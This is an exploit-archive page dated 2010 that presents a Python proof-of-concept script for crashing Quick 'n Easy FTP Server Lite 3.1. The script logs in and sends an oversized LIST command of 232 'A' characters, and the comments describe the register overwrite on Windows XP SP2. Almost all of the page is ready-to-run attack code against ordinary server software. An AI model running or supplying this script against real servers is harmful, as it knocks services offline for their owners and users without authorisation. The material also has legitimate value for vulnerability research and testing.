Quick 'n Easy FTP Server Lite Version 3.1 Crash PoC
Posted on 03 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Quick 'n Easy FTP Server Lite Version 3.1 Crash PoC </title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================== Quick 'n Easy FTP Server Lite Version 3.1 Crash PoC =================================================== #!/usr/bin/python print " ############################################################" print "## Team Hackers Garage ##" print "## Quick 'n Easy FTP Server Lite Version 3.1 ##" print "## Crash PoC ##" print "## Sumit Sharma (aka b0nd) ##" print "## sumit.iips@gmail.com ##" print "## ##" print "## Special Thanks to: Double_Zero ##" print "## (http://www.exploit-db.com/author/DouBle_Zer0) ##" print "## & ##" print "## Peter Van (CORELAN TEAM) ##" print "## ##" print "############################################################" # Summary: The "LIST" command in Version 3.1 of Quick 'n Easy FTP Server Lite is vulnerable # Tested on: Windows XP SP2 # ftp> ls AAAA... 232 A's...AAA? # Server Crash! # Only EBX gets overwritten at the time of crash with the string following first 232 A's (in case using longer string). # No SEH overwrite # No EIP overwrite from socket import * host = "172.12.128.4" # Virtual Windows XP SP2 port = 21 user = "test" # "upload" and "download" access password = "test" s = socket(AF_INET, SOCK_STREAM) s.connect((host, port)) print s.recv(1024) s.send("user %s " % (user)) print s.recv(1024) s.send("pass %s " % (password)) print s.recv(1024) buffer = "LIST " buffer += "A" * 232 buffer += "?" buffer += " " s.send(buffer) print s.recv(1024) s.close() print "---->>> Server Crash!!!" # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-03]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>